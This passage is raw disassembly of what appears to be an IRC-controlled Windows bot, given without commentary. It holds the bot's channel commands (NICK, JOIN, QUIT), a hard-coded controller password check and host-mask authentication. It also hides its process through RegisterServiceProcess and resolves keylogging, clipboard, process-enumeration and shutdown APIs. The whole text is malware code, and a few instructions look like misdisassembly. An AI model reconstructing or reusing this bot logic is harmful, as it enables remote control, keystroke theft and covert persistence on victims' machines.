		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409753
		push	eax
		call	loc_4183F5
		test	eax, eax
		pop	ecx
		lea	eax, [ebp-2C0h]
		jnz	short loc_409076
		push	offset unk_42B098
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: seg000:0040906Dj
		push	offset dword_42B07C


loc_40907B:				; CODE XREF: seg000:00408F4Aj
					; seg000:00408F5Aj ...
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_409083:				; CODE XREF: seg000:00408EB5j
					; seg000:00408F40j
		cmp	[ebp-8], ebx
		jnz	short loc_4090A4
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_4090A4:				; CODE XREF: seg000:00408CBBj
					; seg000:00408CCDj ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		pop	ecx
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_4090B6:				; CODE XREF: seg000:00405AAEj
					; seg000:00405AC3j
		push	7Fh
		lea	eax, [ebp-2210h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		mov	esi, [ebp+esi-88h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4090E7
		push	7Fh
		lea	eax, [ebp-2190h]
		push	esi
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_4090E7:				; CODE XREF: seg000:004090D3j
		push	7Fh
		lea	eax, [ebp-2110h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-2214h], eax
		mov	eax, [ebp-8]
		mov	[ebp-208Ch], eax
		mov	eax, [ebp-4]
		mov	[ebp-2088h], eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42B064
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ch
		push	eax
		call	sub_40AF71
		add	esp, 24h
		mov	[ebp-2090h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2214h]
		push	ebx
		push	eax
		push	offset sub_41AF92
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-2090h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40918A
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B024
		jmp	loc_404470
; ---------------------------------------------------------------------------


loc_409182:				; CODE XREF: seg000:00409190j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40918A:				; CODE XREF: seg000:0040916Fj
		cmp	[ebp-2084h], ebx
		jz	short loc_409182
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_409197:				; CODE XREF: seg000:00405A84j
					; seg000:00405A99j
		push	ebx
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+18h]
		call	sub_40FCD8
		push	dword ptr [ebp+18h]
		push	offset dword_42B00C
		jmp	loc_408972
; ---------------------------------------------------------------------------


loc_4091B6:				; CODE XREF: seg000:00405A5Aj
					; seg000:00405A6Fj
		push	14h
		lea	eax, [ebp-1D44h]
		push	ebx
		push	eax
		call	sub_41B780
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1D30h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		mov	eax, [ebp+0Ch]
		mov	[ebp-1D4Ch], eax
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-1C2Ch]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp-4]
		mov	[ebp-1BA4h], eax
		mov	eax, [ebp-8]
		mov	[ebp-1BA0h], eax
		lea	eax, [ebp-1C2Ch]
		push	eax
		lea	eax, [ebp-1D30h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42AFE8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	1Ah
		push	eax
		call	sub_40AF71
		add	esp, 40h
		mov	[ebp-1BA8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1D4Ch]
		push	ebx
		push	eax
		push	offset sub_415EA1
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1BA8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40928B


loc_409272:				; CODE XREF: seg000:00402292j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AFAC
		jmp	loc_40831C
; ---------------------------------------------------------------------------


loc_409283:				; CODE XREF: seg000:00409291j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40928B:				; CODE XREF: seg000:00409270j
		cmp	[ebp-1B9Ch], ebx
		jz	short loc_409283
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_409298:				; CODE XREF: seg000:00405A30j
					; seg000:00405A45j
		push	dword ptr [ebp+18h]
		call	near ptr 0B10000h
		sub	[ebp-0F58B40h],	al
		jnz	short loc_4092C0
		push	offset dword_42AF90
		jmp	short loc_4092BA
; ---------------------------------------------------------------------------
		push	offset unk_42B7D8
		call	sub_418330
		push	eax


loc_4092BA:				; CODE XREF: seg000:004092ADj
		lea	eax, [ebp-2C0h]


loc_4092C0:				; CODE XREF: seg000:004092A6j
		push	200h
		push	eax
		call	sub_41BB70


loc_4092CB:				; CODE XREF: seg000:004093A0j
		add	esp, 10h
		jmp	loc_406C7F
; ---------------------------------------------------------------------------


loc_4092D3:				; CODE XREF: seg000:00405A06j
					; seg000:00405A1Bj
		push	dword ptr [ebp+18h]
		call	sub_41B969
		push	eax
		call	near ptr sub_419B94
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	dword ptr [ebp+18h]
		cmp	eax, esi
		lea	eax, [ebp-2C0h]
		jnz	short loc_4092FA
		push	offset unk_42AF6C
		jmp	short loc_4092FF
; ---------------------------------------------------------------------------


loc_4092FA:				; CODE XREF: seg000:004092F1j
		push	offset unk_42AF3C


loc_4092FF:				; CODE XREF: seg000:004092F8j
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_406CA3
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h
		jmp	loc_406CA3
; ---------------------------------------------------------------------------


loc_409332:				; CODE XREF: seg000:004059DCj
					; seg000:004059F1j
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	loc_419893
		add	esp, 18h
		cmp	eax, 1
		push	dword ptr [ebp+18h]
		jnz	short loc_409358
		push	offset unk_42AF1C
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_409358:				; CODE XREF: seg000:0040934Cj
		push	offset unk_42AEEC
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_409362:				; CODE XREF: seg000:004059B2j
					; seg000:004059C7j
		mov	esi, [ebp+18h]
		push	esi
		call	ds:dword_4CDC38	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-2D0h], eax
		jz	short loc_4093A5
		push	2
		lea	eax, [ebp-2D0h]
		push	4
		push	eax
		call	ds:dword_4CDBB0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4093C0
		push	dword ptr [eax]


loc_40938E:				; CODE XREF: seg000:004093BEj
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_42AECC
		push	eax
		call	sub_41BA76
		jmp	loc_4092CB
; ---------------------------------------------------------------------------


loc_4093A5:				; CODE XREF: seg000:00409375j
		push	esi
		call	ds:dword_4CDC7C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4093C0
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		jmp	short loc_40938E
; ---------------------------------------------------------------------------


loc_4093C0:				; CODE XREF: seg000:0040938Aj
					; seg000:004093AEj
		push	offset unk_42AEA4
		jmp	loc_4061FF
; ---------------------------------------------------------------------------


loc_4093CA:				; CODE XREF: seg000:00405988j
					; seg000:0040599Dj
		push	7Fh
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+1Ch]
		call	sub_41B7E0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42AE7C
		push	eax
		call	sub_41BA76
		add	esp, 18h
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_4093F3:				; CODE XREF: seg000:0040595Ej
					; seg000:00405973j
		push	5
		push	ebx
		push	ebx
		push	dword ptr [ebp+18h]
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4CDB64
		push	dword ptr [ebp+18h]
		test	eax, eax
		jz	short loc_409417
		push	offset unk_42AE5C
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_409417:				; CODE XREF: seg000:0040940Bj
		push	offset unk_42AE38
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_409421:				; CODE XREF: seg000:00405934j
					; seg000:00405949j
		mov	eax, [ebp+18h]
		mov	cl, [eax]
		mov	ds:byte_42A098,	cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42AE10
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_40943A:				; CODE XREF: seg000:0040590Aj
					; seg000:0040591Fj
		push	dword ptr [ebp+18h]
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40AF07
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		add	esp, 1Ch
		jmp	loc_4088BE
; ---------------------------------------------------------------------------


loc_409489:				; CODE XREF: seg000:004058E0j
					; seg000:004058F5j
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_401F82
		push	esi
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F82
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409920
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_428064	; Sleep
		push	esi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-10h]
		push	esi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B4C[eax]
		call	near ptr 0B10000h
		pushf
		push	esi
		call	sub_41B969
		imul	eax, 234h
		push	esi
		mov	ds:dword_440B4C[eax], ebx
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_440938[eax], bl
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_409537:				; CODE XREF: seg000:004058B6j
					; seg000:004058CBj
		push	dword ptr [ebp+18h]
		push	offset aAll	; "all"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409568
		call	sub_40B134
		cmp	eax, ebx
		jle	short loc_40955E
		push	eax
		push	offset unk_42ADE4
		jmp	loc_4072BB
; ---------------------------------------------------------------------------


loc_40955E:				; CODE XREF: seg000:00409551j
		push	offset unk_42ADBC
		jmp	loc_403F99
; ---------------------------------------------------------------------------


loc_409568:				; CODE XREF: seg000:00409548j
		mov	eax, [ebp-0A4h]
		lea	esi, [eax+1]
		jmp	short loc_4095DF
; ---------------------------------------------------------------------------


loc_409573:				; CODE XREF: seg000:004095E2j
		mov	edi, [ebp+esi*4-90h]
		cmp	edi, ebx
		jz	loc_401F82
		push	edi
		call	sub_41B969
		push	eax
		call	sub_40B0AC
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp-2C0h]
		jz	short loc_4095A2
		push	offset unk_42AD98
		jmp	short loc_4095A7
; ---------------------------------------------------------------------------


loc_4095A2:				; CODE XREF: seg000:00409599j
		push	offset unk_42AD6C


loc_4095A7:				; CODE XREF: seg000:004095A0j
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4095D1
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_4095D1:				; CODE XREF: seg000:004095B3j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		pop	ecx
		inc	esi


loc_4095DF:				; CODE XREF: seg000:00409571j
		cmp	esi, 20h
		jb	short loc_409573
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_4095E9:				; CODE XREF: seg000:0040588Cj
					; seg000:004058A1j
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409753
		push	esi
		push	offset dword_42B514
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	esi
		push	offset dword_42AD50
		jmp	loc_408A9F
; ---------------------------------------------------------------------------


loc_409622:				; CODE XREF: seg000:00405862j
					; seg000:00405877j
		push	dword ptr [ebp+18h]
		push	offset dword_42B478
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		push	offset unk_42AD2C
		jmp	loc_408A9F
; ---------------------------------------------------------------------------


loc_40963F:				; CODE XREF: seg000:00405838j
					; seg000:0040584Dj
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+18h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		push	offset unk_42AD08
		jmp	loc_408972
; ---------------------------------------------------------------------------


loc_409663:				; CODE XREF: seg000:0040580Ej
					; seg000:00405823j
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		push	offset unk_42ACE4
		jmp	loc_408A9F
; ---------------------------------------------------------------------------


loc_409680:				; CODE XREF: seg000:00404C79j
					; seg000:00404C8Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42ACC0
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 1Ch


loc_4096B8:				; CODE XREF: seg000:00409704j
		push	eax
		call	ds:dword_428064	; Sleep


loc_4096BF:				; CODE XREF: seg000:00404593j
		xor	eax, eax
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_4096C6:				; CODE XREF: seg000:00404C4Fj
					; seg000:00404C64j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42AC98
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4096B8
; ---------------------------------------------------------------------------


loc_409706:				; CODE XREF: seg000:0040296Bj
					; seg000:00402980j
		push	dword ptr [ebp+esi-8Ch]
		xor	eax, eax
		cmp	[ebp-8ECh], bl
		setnz	al
		push	eax
		lea	eax, [ebp-334h]
		push	ds:dword_42A0A0
		push	eax
		call	sub_40AF07
		lea	eax, [ebp-334h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		lea	eax, [ebp-334h]
		push	eax
		push	offset unk_42AC74
		call	sub_415322


loc_409750:				; CODE XREF: seg000:00406D0Aj
		add	esp, 24h


loc_409753:				; CODE XREF: seg000:00402118j
					; seg000:00402124j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_40975B:				; CODE XREF: seg000:00402563j
					; seg000:00402578j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+18h], esi
		jz	loc_401F82
		cmp	[ebp-0A8h], ebx
		jnz	loc_401F82
		push	offset asc_42E0C4 ; "!"
		push	dword ptr [ebp-90h]
		call	sub_41C2E4
		mov	esi, eax
		push	offset dword_4CDAB0
		push	ebx
		inc	esi
		call	sub_41C2E4
		push	offset asc_42AC70 ; "~"
		push	eax
		call	sub_41C2E4
		push	dword ptr [ebp+18h]
		mov	edi, eax
		push	offset a19736666386888 ; "19736666386888"
		call	sub_41C260
		add	esp, 20h
		test	eax, eax
		jz	short loc_409803
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	edi
		push	esi
		push	offset unk_42ABF0


loc_4097EF:				; CODE XREF: seg000:0040985Cj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 30h
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: seg000:004097B6j
		mov	[ebp+2Ch], ebx


loc_409806:				; CODE XREF: seg000:00409823j
		mov	eax, [ebp+2Ch]
		push	edi
		push	ds:off_42A154[eax]
		call	sub_40B2C4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40985E
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], 4
		jb	short loc_409806
		lea	eax, [ebp-0C0h]
		push	edi
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	edi
		push	esi
		push	offset unk_42AB9C
		jmp	short loc_4097EF
; ---------------------------------------------------------------------------


loc_40985E:				; CODE XREF: seg000:00409819j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_409863:				; CODE XREF: seg000:00409884j
		cmp	[edi], bl
		jnz	short loc_40987A
		push	dword ptr [ebp+18h]
		push	offset a19736666386888 ; "19736666386888"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40988B


loc_40987A:				; CODE XREF: seg000:00409865j
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_409863
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_40988B:				; CODE XREF: seg000:00409878j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0E2Ch]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B7E0
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4098C2
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42AB7C
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_4098C2:				; CODE XREF: seg000:004098A6j
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_42AB5C


loc_4098CE:				; CODE XREF: seg000:00402073j
					; seg000:0040436Fj ...
		call	sub_415322


loc_4098D3:				; CODE XREF: seg000:00403652j
		pop	ecx


loc_4098D4:				; CODE XREF: seg000:00403FD4j
		pop	ecx
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_4098DA:				; CODE XREF: seg000:00401D4Aj
					; seg000:00401D5Fj
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	offset aXI	; "-x+i"
		push	dword ptr [ebp+18h]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		add	esp, 2Ch
		mov	ds:dword_4CDAA8, edi
		jmp	loc_401DD9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409920	proc near		; CODE XREF: sub_4019DB+30p
					; seg000:00401D07p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C380
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC48	; send
		leave
		retn
sub_409920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409966	proc near		; CODE XREF: seg000:00401FE0p
					; seg000:00402E0Cp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409981
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409981:				; CODE XREF: sub_409966+14j
		push	edi
		call	sub_41B1D0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B1D0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41BB70
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41BA76
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC48	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4099FF
		push	7D0h
		call	ds:dword_428064	; Sleep

locret_4099FF:				; CODE XREF: sub_409966+8Cj
		leave
		retn
sub_409966	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A01	proc near		; CODE XREF: seg000:00401281p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42809C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4280BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409B21
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_4CDCA4, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_4CDC18, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_4CDBFC, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_4CDB0C, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_4CDAB8, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_4CDAE8, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_4CDB60, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_4CDC58, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_4CDCB0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_4CDB18, eax
		call	esi
		cmp	ds:dword_4CDCA4, ebx
		mov	ds:dword_4CDB00, eax
		jz	short loc_409AFF
		cmp	ds:dword_4CDC18, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDBFC, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDB0C, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDAE8, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDB60, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDC58, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDCB0, ebx
		jz	short loc_409AFF
		cmp	ds:dword_4CDB18, ebx
		jz	short loc_409AFF
		cmp	eax, ebx
		jnz	short loc_409B09


loc_409AFF:				; CODE XREF: sub_409A01+B8j
					; sub_409A01+C0j ...
		mov	ds:dword_4CDCB4, 1


loc_409B09:				; CODE XREF: sub_409A01+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_4CDC30, eax
		jz	short loc_409B36
		push	1
		push	ebx
		call	eax
		jmp	short loc_409B36
; ---------------------------------------------------------------------------


loc_409B21:				; CODE XREF: sub_409A01+1Dj
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCB8, eax
		mov	ds:dword_4CDCB4, 1


loc_409B36:				; CODE XREF: sub_409A01+117j
					; sub_409A01+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4280B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C4B
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_4CDC54, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_4CDC04, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_4CDB98, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_4CDCA8, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_4CDBC8, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_4CDBE8, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_4CDC4C, eax
		call	esi
		cmp	ds:dword_4CDC54, ebx
		mov	ds:dword_4CDB38, eax
		jz	short loc_409BEF
		cmp	ds:dword_4CDC04, ebx
		jz	short loc_409BEF
		cmp	ds:dword_4CDB98, ebx
		jz	short loc_409BEF
		cmp	ds:dword_4CDCA8, ebx
		jz	short loc_409BEF
		cmp	ds:dword_4CDBC8, ebx
		jz	short loc_409BEF
		cmp	ds:dword_4CDBE8, ebx
		jz	short loc_409BEF
		cmp	ds:dword_4CDC4C, ebx
		jz	short loc_409BEF
		cmp	eax, ebx
		jnz	short loc_409BF9


loc_409BEF:				; CODE XREF: sub_409A01+1B8j
					; sub_409A01+1C0j ...
		mov	ds:dword_4CDCBC, 1


loc_409BF9:				; CODE XREF: sub_409A01+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_4CDBC4, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_4CDACC, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_4CDB94, eax
		call	esi
		cmp	ds:dword_4CDBC4, ebx
		mov	ds:dword_4CDB7C, eax
		jz	short loc_409C56
		cmp	ds:dword_4CDACC, ebx
		jz	short loc_409C56
		cmp	ds:dword_4CDB94, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60
		jmp	short loc_409C56
; ---------------------------------------------------------------------------


loc_409C4B:				; CODE XREF: sub_409A01+144j
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4CDCC0, eax


loc_409C56:				; CODE XREF: sub_409A01+232j
					; sub_409A01+23Aj ...
		mov	ds:dword_4CDCBC, 1


loc_409C60:				; CODE XREF: sub_409A01+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E19
